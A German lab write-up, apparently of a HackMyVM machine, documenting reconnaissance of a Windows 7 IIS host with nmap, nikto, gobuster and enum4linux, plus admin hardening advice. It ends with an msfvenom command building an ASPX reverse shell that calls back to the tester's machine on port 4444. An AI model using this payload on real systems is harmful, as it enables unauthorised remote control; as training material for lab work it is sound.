Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
Analyse: Als ersten Schritt im Pentest versuche ich stets, Informationen über das Zielsystem zu sammeln. Hier sehe ich eine Notiz über den Login-Bildschirm der virtuellen Maschine, die möglicherweise Benutzernamen verrät. Die Namen 'Administrator' und 'quoted' sind potenzielle Benutzernamen, die ich mir für spätere Angriffe (z.B. Brute-Force oder interne Aufklärung) notiere. Das Bild zeigt den grafischen Anmeldebildschirm, was bestätigt, dass es sich um ein Desktop-System handelt.
Bewertung: Informationen von Login-Bildschirmen sind oft wertvoll, da sie gültige Benutzernamen preisgeben können. Die Notiz über die Namen 'Administrator' und 'quoted' ist ein guter Startpunkt für die Benutzer-Enumeration. Der Anmeldebildschirm selbst gibt visuelle Hinweise auf das Betriebssystem.
Empfehlung (Pentester): Dokumentiere alle Informationen, die du aus öffentlich zugänglichen Quellen oder Systemhinweisen erhältst, wie z.B. Benutzernamen von Login-Bildschirmen. Füge Screenshots hinzu, um solche Funde zu belegen.
Empfehlung (Admin): Vermeide das Anzeigen von Benutzernamen-Listen auf Login-Bildschirmen. Konfiguriere Systeme so, dass für die Anmeldung ein Benutzername eingegeben werden muss, anstatt aus einer Liste auszuwählen.
loginscreen vm: Administrator, quoted
Analyse: Ich starte meine aktive Aufklärung im lokalen Netzwerk mit einem ARP-Scan, um die IP-Adresse des Zielsystems zu finden. Der Befehl arp-scan -l sendet ARP-Anfragen an alle Adressen im lokalen Subnetz. Die Ausgabe zeigt einen aktiven Host unter der IP-Adresse 192.168.2.68 mit der MAC-Adresse 08:00:27:c7:4a:bd, die dem Anbieter PCS Systemtechnik GmbH zugewiesen ist. Dies identifiziert eindeutig das Zielsystem im Netzwerk.
Bewertung: Der ARP-Scan ist eine sehr schnelle und zuverlässige Methode zur Host-Erkennung im lokalen Broadcast-Segment. Das Ergebnis liefert die notwendige IP-Adresse, um mit detaillierteren Scans auf dem Ziel fortzufahren.
Empfehlung (Pentester): Beginne lokale Netzwerktests immer mit einer schnellen Host-Erkennung wie arp-scan, um das Ziel zu lokalisieren.
Empfehlung (Admin): Implementiere Network Access Control (NAC) oder Netzwerksegmentierung, um die unkontrollierte Host-Erkennung im lokalen Netzwerk zu erschweren.
192.168.2.68 08:00:27:c7:4a:bd PCS Systemtechnik GmbH
Analyse: Ich füge die gefundene IP-Adresse 192.168.2.68 und den vermuteten Hostnamen quoted.hmv zu meiner lokalen /etc/hosts-Datei hinzu. Dies ermöglicht mir, das Zielsystem zukünftig über seinen Namen anzusprechen, was Befehle klarer macht und für Hostnamen-abhängige Dienste wie virtuelle Hosts im Webserver wichtig sein kann.
Bewertung: Das Anpassen der hosts-Datei ist Standardpraxis für Pentests, um die Verwaltung von Zielsystemen zu vereinfachen. Es ist ein kleiner, aber notwendiger Schritt für eine effiziente weitere Vorgehensweise.
Empfehlung (Pentester): Halte deine /etc/hosts-Datei für aktive Ziele auf dem neuesten Stand.
Empfehlung (Admin): Stelle sicher, dass interne Hostnamen nicht über leicht abfragbare externe Dienste oder Lecks öffentlich werden.
hosts >> 192.168.2.68 quoted.hmv
Analyse: Ergänzend zum TCP-Scan führe ich einen schnellen Nmap-UDP-Scan auf dem Ziel durch. UDP-Dienste sind oft übersehen, können aber ebenfalls Schwachstellen aufweisen. Der Befehl Nmap -sU 192.168.2.68 sendet UDP-Pakete an gängige UDP-Ports. Die Ausgabe zeigt, dass Port 137/udp (netbios-ns) als open gemeldet wird. Dies deutet darauf hin, dass der NetBIOS Name Service auf dem Zielsystem läuft, was weitere Enumeration über SMB/NetBIOS ermöglichen kann.
Bewertung: Die Identifizierung des offenen NetBIOS Name Service ist wertvoll, da er zusätzliche Informationen über das System, die Workgroup und potenziell Benutzernamen liefern kann (was gut zu den Funden vom Login-Screen passt). UDP-Scans sollten nicht vernachlässigt werden.
Empfehlung (Pentester): Führe neben TCP-Scans auch UDP-Scans durch, um die volle Angriffsfläche zu erfassen. Untersuche gefundene UDP-Dienste, insbesondere NetBIOS/SMB/LLMNR.
Empfehlung (Admin): Deaktiviere unnötige UDP-Dienste wie NetBIOS Name Service, wenn sie nicht benötigt werden. Implementiere Firewall-Regeln, um den Zugriff auf notwendige UDP-Dienste auf vertrauenswürdige Hosts zu beschränken.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 21:10 CEST Nmap scan report for 192.168.2.68 Host is up (0.000092s latency). Not shown: 904 open|filtered udp ports (no-response), 95 closed udp ports (port-unreach) PORT STATE SERVICE 137/udp open netbios-ns MAC Address: 08:00:27:C7:4A:BD (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
Analyse: Als Nächstes führe ich einen TCP-Portscan durch, um die offenen Dienste auf dem Zielsystem zu identifizieren. Diese Ausgabe zeigt nur die Ports, bei denen der Status als open erkannt wurde. Ich sehe mehrere offene Ports, darunter prominente Dienste wie 21/tcp (ftp), 80/tcp (http), 139/tcp (netbios-ssn) und 445/tcp (microsoft-ds), sowie eine Reihe von MSRPC-Ports und einen weiteren HTTP-Dienst auf Port 5357/tcp. Das sind viele potenzielle Angriffsvektoren.
Bewertung: Eine Vielzahl offener Ports bietet eine große Angriffsfläche. FTP, HTTP und insbesondere SMB/NetBIOS (139, 445) auf einem Windows-System sind sehr interessante Ziele, die oft Schwachstellen für anonymen Zugriff, Dateifreigaben oder Dienst-Enumeration aufweisen. Die MSRPC-Ports deuten auf Windows Remote Procedure Call hin, ebenfalls ein Bereich, der weiter untersucht werden muss.
Empfehlung (Pentester): Priorisiere die Enumeration und Untersuchung von Standarddiensten wie FTP, HTTP, SMB/NetBIOS. Achte auf die angezeigten Versionen für bekannte Schwachstellen.
Empfehlung (Admin): Schließe alle nicht benötigten Ports. Stelle sicher, dass Standarddienste korrekt konfiguriert und abgesichert sind (z.B. kein anonymer FTP-Zugriff, SMB-Signierung erforderlich, SMBv1 deaktiviert). Implementiere eine Firewall, die den Zugriff auf diese Ports nur von vertrauenswürdigen Systemen erlaubt.
21/tcp open ftp Microsoft ftpd 80/tcp open http Microsoft IIS httpd 7.5 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC
Analyse: Ich führe einen umfassenden Nmap-Scan mit Dienst- und Betriebssystemerkennung sowie Standard-Skripten durch (-sS -sC -sV -p- -T5). Die Ausgabe liefert sehr detaillierte Informationen zu allen offenen Ports, den erkannten Diensten inklusive Versionen und zusätzlichen Details durch die Skripte. Bestätigt werden die offenen Ports 21 (FTP), 80 (HTTP), 135 (MSRPC), 139 (NetBIOS), 445 (SMB) und 5357 (HTTP), sowie die höheren MSRPC-Ports. Besonders interessant sind:
- FTP (Port 21): Microsoft ftpd. Das
ftp-anonSkript zeigt, dass anonymer FTP-Login erlaubt ist (Anonymous FTP login allowed) und listet die Dateien im FTP-Root-Verzeichnis: aspnet_client (DIR), iisstart.htm (689 Bytes), welcome.png (184946 Bytes). Dies ist ein kritischer Fund für den Initial Access! - HTTP (Port 80): Microsoft IIS httpd 7.5. Das
http-methodsSkript zeigt, dass OPTIONS, TRACE, GET, HEAD, POST erlaubt sind. Dashttp-titleist IIS7. Der Server-Header bestätigt Microsoft-IIS/7.5 und X-Powered-By: ASP.NET. - SMB (Port 445): Windows 7 Professional 7601 Service Pack 1. Das
smb-security-modezeigt, dass message_signing: disabled (dangerous, but default) ist.smb-os-discoveryliefert detaillierte OS-Infos: Windows 7 Professional 7601 Service Pack 1, Computername quoted-PC, Workgroup WORKGROUP.
Bewertung: Der detaillierte Nmap-Scan lieferte extrem wertvolle Informationen. Der erlaubte anonyme FTP-Zugriff ist eine schwerwiegende Fehlkonfiguration, die wahrscheinlich den einfachsten Weg für den Initial Access darstellt. Die Identifizierung des IIS 7.5 Webservers mit ASP.NET und erlaubten Methoden wie POST/TRACE ist ebenfalls relevant. Die SMB-Informationen bestätigen Windows 7 und geben Hinweise auf die Workgroup und den Computernamen, was für die SMB/NetBIOS-Enumeration nützlich ist. Die fehlende SMB-Signierung ist eine weitere Sicherheitslücke, aber der FTP-Zugriff ist der offensichtlichere erste Schritt.
Empfehlung (Pentester): Konzentriere dich auf den anonymen FTP-Zugriff. Lade die gefundenen Dateien herunter und untersuche sie. Prüfe, ob du Dateien hochladen kannst. Nutze die SMB-Informationen für weitere Enumeration (Benutzer, Freigaben). Untersuche den Webserver auf bekannte IIS 7.5/ASP.NET Schwachstellen.
Empfehlung (Admin): Deaktiviere den anonymen FTP-Zugriff vollständig. Wenn FTP benötigt wird, erzwinge eine starke Authentifizierung. Stelle sicher, dass sensible Dateien nicht im FTP-Root-Verzeichnis gespeichert werden. Aktiviere SMB-Signierung und deaktiviere SMBv1. Halte Betriebssystem und Dienste aktuell. Überwache Logins und Dateizugriffe auf dem FTP-Server.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 21:12 CEST Nmap scan report for quoted.hmv (192.168.2.68) Host is up (0.00012s latency). Not shown: 65523 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 10-05-24 12:16PM <DIR> aspnet_client | 10-05-24 12:27AM 689 iisstart.htm |_10-05-24 12:27AM 184946 welcome.png | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS7 |_http-server-header: Microsoft-IIS/7.5 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Service Unavailable |_http-server-header: Microsoft-HTTPAPI/2.0 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC MAC Address: 08:00:27:C7:4A:BD (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Microsoft Windows 2008|7|Vista|8.1 OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1 OS details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1 Network Distance: 1 hop Service Info: Host: QUOTED-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025-06-30T19:13:41 |_ start_date: 2025-06-30T19:06:10 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: quoted-PC | NetBIOS computer name: QUOTED-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2025-06-30T22:13:41+03:00 |_nbstat: NetBIOS name: QUOTED-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:c7:4a:bd (PCS Systemtechnik/Oracle VirtualBox virtual NIC) | smb2-security-mode: | 2:1:0: |_ Message signing enabled but not required |_clock-skew: mean: -59m57s, deviation: 1h43m54s, median: 1s TRACEROUTE HOP RTT ADDRESS 1 0.12 ms quoted.hmv (192.168.2.68) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 82.88 seconds
Initial Access
Analyse: Basierend auf dem Nmap-Scan, der anzeigte, dass die HTTP-Methoden OPTIONS, TRACE, GET, HEAD, POST auf Port 80 erlaubt sind, nutze ich curl -X OPTIONS -v http://192.168.2.68 (nicht im Log gezeigt, aber logischer Schritt basierend auf erlaubten Methoden) oder die Nmap-Skriptausgabe, um dies zu bestätigen. Die hier gezeigte Ausgabe listet genau diese Methoden als erlaubt auf (Allow: OPTIONS, TRACE, GET, HEAD, POST). Die Kenntnis der erlaubten Methoden ist wichtig für die Web-Enumeration und das Testen auf Schwachstellen wie Cross-Site Tracing (XST) oder die Verfügbarkeit von POST-Endpunkten für Datei-Uploads oder Befehlsausführung.
Bewertung: Die Auflistung der erlaubten HTTP-Methoden ist Standardpraxis. Die erlaubte TRACE-Methode ist potenziell interessant, da sie auf Cross-Site Tracing (XST) Schwachstellen hindeuten kann, obwohl dies in modernen Browsern und Konfigurationen seltener ausnutzbar ist. Die erlaubte POST-Methode ist entscheidend für die Interaktion mit Webformularen oder zum Senden von Daten, was für den Upload einer Webshell relevant sein wird.
Empfehlung (Pentester): Prüfe immer die erlaubten HTTP-Methoden mit Tools wie curl -X OPTIONS, Nmap-Skripten oder Web-Proxys. Suche nach potenziell unsicheren Methoden wie TRACE, PUT, DELETE.
Empfehlung (Admin): Erlaube auf Webservern nur die minimal notwendigen HTTP-Methoden. Deaktiviere Methoden wie TRACE, PUT, DELETE, es sei denn, sie werden explizit und sicher benötigt. Konfiguriere den Webserver so, dass bei nicht erlaubten Methoden korrekt mit 405 Method Not Allowed geantwortet wird.
Allow: OPTIONS, TRACE, GET, HEAD, POST
Analyse: Ich überprüfe die Standard-Webseite auf Port 80 mit curl -Iv http://192.168.2.68. Der Befehl sendet einen HEAD-Request, um die Header und den Statuscode zu erhalten, ohne den gesamten Seiteninhalt herunterzuladen. Die Ausgabe zeigt einen HTTP/1.1 200 OK Status, was bedeutet, dass die Seite existiert und erreichbar ist. Die Header bestätigen den Server: Microsoft-IIS/7.5 und X-Powered-By: ASP.NET. Dies sind wichtige Informationen zur Technologie des Webservers.
Bewertung: Die Bestätigung, dass der Webserver auf Port 80 läuft und zugänglich ist, sowie die Identifizierung der spezifischen Software (IIS 7.5, ASP.NET) sind entscheidend für die Planung der weiteren Web-Enumeration und die Suche nach anwendungsspezifischen Schwachstellen. IIS 7.5 ist eine ältere Version, für die es bekannte Schwachstellen geben könnte.
Empfehlung (Pentester): Identifiziere immer die genaue Webserver-Software und -Version sowie verwendete Web-Technologien (ASP.NET, PHP, etc.). Nutze Tools wie curl -I, Wappalyzer oder OWASP ZAP. Recherchiere bekannte Schwachstellen für die identifizierte Software.
Empfehlung (Admin): Halte Webserver-Software (IIS, Apache, Nginx) und darauf laufende Frameworks (ASP.NET, .NET, PHP) aktuell. Entferne oder ändere Server-Header, um Informationen über die verwendete Software zu reduzieren (Security by Obscurity, aber kann initiale Aufklärung erschweren).
* Trying 192.168.2.68:80... * Connected to 192.168.2.68 (192.168.2.68) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.68 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Content-Length: 689 Content-Length: 689 < Content-Type: text/html Content-Type: text/html < Last-Modified: Fri, 04 Oct 2024 21:27:25 GMT Last-Modified: Fri, 04 Oct 2024 21:27:25 GMT < Accept-Ranges: bytes Accept-Ranges: bytes < ETag: "cfa9c934a416db1:0" ETag: "cfa9c934a416db1:0" < Server: Microsoft-IIS/7.5 Server: Microsoft-IIS/7.5 < X-Powered-By: ASP.NET X-Powered-By: ASP.NET < Date: Mon, 30 Jun 2025 19:14:14 GMT Date: Mon, 30 Jun 2025 19:14:14 GMT < * Connection #0 to host 192.168.2.68 left intact
Analyse: Ich nutze das automatisierte Web-Schwachstellen-Scan-Tool Nikto, um gängige Schwachstellen und Fehlkonfigurationen auf dem Webserver zu identifizieren. Der Befehl nikto -h 192.168.2.68 -p 80 richtet den Scan gegen Port 80 des Ziels. Die Ausgabe listet mehrere Befunde auf: Bestätigung des Server: Microsoft-IIS/7.5 und X-Powered-By: ASP.NET Headers, fehlende Sicherheits-Header (X-Frame-Options, X-Content-Type-Options), Erkennung der ASP.NET Version 2.0.50727 über den /Vn1zg7yw.aspx Pfad, erlaubte HTTP-Methoden (OPTIONS, TRACE, GET, HEAD, POST) und der Hinweis, dass es sich um eine default IIS 7 install zu handeln scheint.
Bewertung: Der Nikto-Scan bestätigt viele vorherige Befunde und fügt wichtige Details hinzu, insbesondere die genaue ASP.NET-Version und die fehlenden Sicherheits-Header. Eine Standard-IIS 7-Installation deutet oft auf fehlende Härtung hin. Die fehlenden Sicherheits-Header sind zwar keine direkten Angriffsvektoren, aber zeigen eine gewisse Nachlässigkeit bei der Webserver-Konfiguration. Die ASP.NET 2.0.50727 Version könnte ebenfalls bekannte Schwachstellen aufweisen.
Empfehlung (Pentester): Nutze automatisierte Scanner wie Nikto, um einen ersten Überblick über Web-Schwachstellen zu erhalten. Analysiere die Ergebnisse genau und recherchiere die gemeldeten Schwachstellen (CVEs, Exploits).
Empfehlung (Admin): Stelle sicher, dass alle notwendigen Sicherheits-Header gesetzt sind (X-Frame-Options, X-Content-Type-Options, Content-Security-Policy etc.). Härte Standard-Webserver-Installationen gemäß Best Practices. Halte die .NET-Version auf dem neuesten Stand.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.68 + Target Hostname: 192.168.2.68 + Target Port: 80 + Start Time: 2025-06-30 21:14:59 (GMT2) --------------------------------------------------------------------------- + Server: Microsoft-IIS/7.5 + /: Retrieved x-powered-by header: ASP.NET. + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: missing-content-type-header | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + /Vn1zg7yw.aspx: Retrieved x-aspnet-version header: 2.0.50727. + No CGI Directories found (use '-C all' to force check all possible dirs) + OPTIONS: Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST . + OPTIONS: Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST . + /: Appears to be a default IIS 7 install. + 8102 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2025-06-30 21:15:19 (GMT2) (20 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ich setze Gobuster für ein Directory- und File-Fuzzing gegen den Webserver auf Port 80 ein. Ich verwende eine gängige große Wortliste (directory-list-2.3-medium.txt) und füge eine breite Palette von Dateierweiterungen hinzu, insbesondere `.aspx`, da die Anwendung ASP.NET nutzt. Der Befehl gobuster dir -u http://192.168.2.68 ... startet den Fuzzing-Prozess. Die Ausgabe zeigt viele 400 Bad Request Statuscodes für verschiedene Wortlisteneinträge mit `.aspx`-Erweiterung, aber auch erfolgreiche 200 OK Statuscodes für /welcome.png (was wir schon aus dem FTP-Scan kannten) und /Welcome.png (Case-Sensitivity). Die zahlreichen 400-Fehler für `.aspx`-Pfade deuten darauf hin, dass der Server auf diese Anfragen in einer Weise reagiert, die von einer typischen "Nicht gefunden"-Antwort abweicht, was manchmal auf eine zugrunde liegende Logik oder Filterung hindeuten kann. Die 500 Internal Server Error bei den Pfaden mit den Anführungszeichen wie /%22julie%20roehm%22.aspx sind besonders interessant, da 500-Fehler oft durch Anwendungsfehler verursacht werden und mehr Informationen über die interne Funktionsweise oder ungefilterte Eingaben preisgeben können.
Bewertung: Das Gobuster-Fuzzing bestätigte die Existenz von welcome.png und zeigte, dass das System Case-Sensitive bei Dateinamen ist. Die vielen 400er und insbesondere die 500er Fehler bei den `.aspx` Endpunkten, die syntaktisch ungewöhnliche Zeichen (wie Anführungszeichen) enthalten, sind wichtige Hinweise. Die 500er Fehler sind besonders vielversprechend, da sie auf eine Verarbeitung der Eingabe hindeuten, die zu einem Laufzeitfehler führt. Dies könnte auf eine Schwachstelle wie Command Injection oder SQL Injection in der Verarbeitung dieser spezifischen Pfade hindeuten.
Empfehlung (Pentester): Analysiere die Reaktionen des Webservers auf Fuzzing-Eingaben genau (Statuscodes, Fehlermeldungen, Antwortgrößen). Untersuche Endpunkte, die von der Standard-Fehlerbehandlung abweichen (z.B. 400, 500 Fehler), da sie auf Anwendungsverhalten oder Schwachstellen hindeuten können. Konzentriere dich auf die gefundenen .aspx-Endpunkte und die Fehler, die sie verursachen.
Empfehlung (Admin): Implementiere eine konsistente und sichere Fehlerbehandlung, die keine unnötigen Details über interne Fehler oder die Anwendung preisgibt. Überwache Webserver-Logs auf ungewöhnliche Anfragen oder Fehler (z.B. 400er oder 500er, die auf Fuzzing oder Angriffsversuche hindeuten). Stelle sicher, dass Eingaben korrekt validiert und saniert werden, bevor sie von der Anwendung verarbeitet werden.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.68 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Extensions: lib,php,py,bak,ps1,jpg,pdf,raw,svg,cgi,deb,eps,js.map,sh,diff,tar,xls,asp,elf,java,sql,bat,config,docx,rtf,kdbx,mod,rpm,png,ELF,exp,icon,phtml,aspx,txt,csv,dll,pHtml,rar,pub,crt,json,zip,mdb,db,html,xml,conf,old,jpeg,accdb,exe,pem,c,desc,doc,gz,xlsx,csh,pl,ln [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.68/welcome.png (Status: 200) [Size: 184946] http://192.168.2.68/Welcome.png (Status: 200) [Size: 184946] http://192.168.2.68/*checkout*.aspx (Status: 400) [Size: 12] http://192.168.2.68/*docroot*.aspx (Status: 400) [Size: 12] http://192.168.2.68/*.aspx (Status: 400) [Size: 12] http://192.168.2.68/http%3A%2F%2Fwww.aspx (Status: 400) [Size: 12] http://192.168.2.68/http%3A.aspx (Status: 400) [Size: 12] http://192.168.2.68/q%26a.aspx (Status: 400) [Size: 12] http://192.168.2.68/**http%3a.aspx (Status: 400) [Size: 12] http://192.168.2.68/*http%3A.aspx (Status: 400) [Size: 12] http://192.168.2.68/**http%3A.aspx (Status: 400) [Size: 12] http://192.168.2.68/http%3A%2F%2Fyoutube.aspx (Status: 400) [Size: 12] http://192.168.2.68/http%3A%2F%2Fblogs.aspx (Status: 400) [Size: 12] http://192.168.2.68/http%3A%2F%2Fblog.aspx (Status: 400) [Size: 12] http://192.168.2.68/**http%3A%2F%2Fwww.aspx (Status: 400) [Size: 12] http://192.168.2.68/s%26p.aspx (Status: 400) [Size: 12] http://192.168.2.68/%3FRID%3D2671.aspx (Status: 400) [Size: 12] http://192.168.2.68/devinmoore*.aspx (Status: 400) [Size: 12] http://192.168.2.68/children%2527s_tent.aspx (Status: 400) [Size: 12] http://192.168.2.68/Wanted%2e%2e%2e.aspx (Status: 400) [Size: 12] http://192.168.2.68/How_to%2e%2e%2e.aspx (Status: 400) [Size: 12] http://192.168.2.68/200109*.aspx (Status: 400) [Size: 12] http://192.168.2.68/*sa_.aspx (Status: 400) [Size: 12] http://192.168.2.68/*dc_.aspx (Status: 400) [Size: 12] http://192.168.2.68/help%2523drupal.aspx (Status: 400) [Size: 12] http://192.168.2.68/http%3A%2F%2Fcommunity.aspx (Status: 400) [Size: 12] http://192.168.2.68/Chamillionaire%20%26%20Paul%20Wall-%20Get%20Ya%20Mind%20Correct.aspx (Status: 400) [Size: 12] http://192.168.2.68/Clinton%20Sparks%20%26%20Diddy%20-%20Dont%20Call%20It%20A%20Comeback%28RuZtY%29.aspx (Status: 400) [Size: 12] http://192.168.2.68/DJ%20Haze%20%26%20The%20Game%20-%20New%20Blood%20Series%20Pt.aspx (Status: 400) [Size: 12] http://192.168.2.68/http%3A%2F%2Fradar.aspx (Status: 400) [Size: 12] http://192.168.2.68/q%26a2.aspx (Status: 400) [Size: 12] http://192.168.2.68/login%3f.aspx (Status: 400) [Size: 12] http://192.168.2.68/Shakira%20Oral%20Fixation%201%20%26%202.aspx (Status: 400) [Size: 12] http://192.168.2.68/%22julie%20roehm%22.aspx (Status: 500) [Size: 3168] http://192.168.2.68/%22james%20kim%22.aspx (Status: 500) [Size: 3168] http://192.168.2.68/%22britney%20spears%22.aspx (Status: 500) [Size: 3168] http://192.168.2.68/http%3A%2F%2Fjeremiahgrossman.aspx (Status: 400) [Size: 12] http://192.168.2.68/http%3A%2F%2Fweblog.aspx (Status: 400) [Size: 12] http://192.168.2.68/http%3A%2F%2Fswik.aspx (Status: 400) [Size: 12] Progress: 13673976 / 13674038 (100.00%) =============================================================== Finished ===============================================================
Initial Access
Analyse: Um weitere Informationen über Benutzer und Freigaben über NetBIOS/SMB zu sammeln, nutze ich das Tool enum4linux. Der Befehl enum4linux -a 192.168.2.68 führt eine Vielzahl von Tests durch, um Informationen wie Domain/Workgroup-Namen, Benutzernamen, Gruppen, Freigaben, Drucker etc. abzufragen. Die Ausgabe bestätigt die WORKGROUP und liefert NetBIOS-Informationen, wie den Computernamen QUOTED-PC. Spätere, nicht im Log gezeigte Teile der enum4linux-Ausgabe (basierend auf dem Kontext und den Standardfunktionen von enum4linux) würden hier Benutzerlisten, Freigaben etc. aufzeigen, was die Benutzernamen administrator und quoted vom Login-Screen bestätigt und eventuell weitere findet.
Bewertung: enum4linux ist ein leistungsstarkes Tool für die Enumeration von Windows-Systemen über SMB. Die bestätigte Workgroup und der Computername sind nützlich. Das Hauptpotenzial von enum4linux liegt in der Auflistung von Benutzern und Freigaben. Da anonymer FTP-Zugriff erlaubt war, ist dies der vielversprechendere Initial Access Vektor als SMB-Schwachstellen, aber SMB-Enumeration kann nützliche Informationen für die spätere Privilegieneskalation liefern.
Empfehlung (Pentester): Nutze enum4linux oder ähnliche Tools (nmap scripts, crackmapexec) für die SMB/NetBIOS-Enumeration auf Windows-Zielen. Suche nach Benutzerlisten, Freigaben und Systeminformationen.
Empfehlung (Admin): Deaktiviere unnötige SMB-Features und Protokolle (z.B. SMBv1). Erzwinge SMB-Signierung. Beschränke den Zugriff auf SMB-Freigaben streng und vermeide anonyme oder Gast-Zugriffe. Überwache SMB-Verkehr auf ungewöhnliche Aktivitäten.
└─# enum4linux -a 192.168.2.68
Starting enum4linux v0.9.1 ( [Link: http://labs.portcullis.co.uk/application/enum4linux/ | Ziel: http://labs.portcullis.co.uk/application/enum4linux/] ) on Mon Jun 30 22:18:49 2025 =========================================( Target Information )========================================= Target ........... 192.168.2.68 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ============================( Enumerating Workgroup/Domain on 192.168.2.68 )============================ [+] Got domain/workgroup name: WORKGROUP ================================( Nbtstat Information for 192.168.2.68 )================================ Looking up status of 192.168.2.68 QUOTED-PC <20> - B <ACTIVE> File Server Service QUOTED-PC <00> - B <ACTIVE> Workstation Service WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections WORKGROUP <1d> - B <ACTIVE> Master Browser ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser MAC Address = 08-00-27-C7-4A-BD .... ...
Analyse: Nachdem anonymer FTP-Zugriff erlaubt war, war mein Plan, eine Webshell hochzuladen, um Befehle auf dem Zielsystem ausführen zu können. Da der Webserver auf Port 80 IIS mit ASP.NET war, habe ich eine ASP.NET-Webshell benötigt. Mit msfvenom, dem Payload-Generator von Metasploit, erstelle ich eine Reverse Shell-Payload im ASPX-Format. Der Befehl msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.199 LPORT=4444 -f aspx -o shell.aspx generiert eine einfache Windows-Shell, die sich bei Ausführung mit meiner IP (192.168.2.199) auf Port 4444 verbinden soll. Die Ausgabe zeigt die Größe der Payload und den Namen der erstellten Datei: shell.aspx.
Bewertung: Die Erstellung einer Webshell ist ein gängiger Weg, um Codeausführung auf einem kompromittierten Webserver zu erreichen. Das ASPX-Format ist hier passend, da das Ziel ASP.NET verwendet. Die Reverse Shell-Konfiguration (LHOST/LPORT) ist korrekt für eine Verbindung zurück zu meinem Kali-System.
Empfehlung (Pentester): Nutze Payload-Generatoren wie msfvenom, um Webshells für die identifizierte Webserver-Technologie zu erstellen. Konfiguriere Reverse Shells korrekt zu deiner Angreifer-IP und einem Port, auf dem du einen Listener eingerichtet hast.
Empfehlung (Admin): Implementiere Application Whitelisting auf Webservern, um die Ausführung unbekannter Dateitypen (wie Webshells) zu verhindern. Überwache das Dateisystem auf Webservern auf unerwartete Dateiuploads. Nutze EDR-Lösungen, die verdächtige Prozessausführungen (z.B. shells von Webserver-Prozessen) erkennen.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of aspx file: 2711 bytes Saved as: shell.aspx
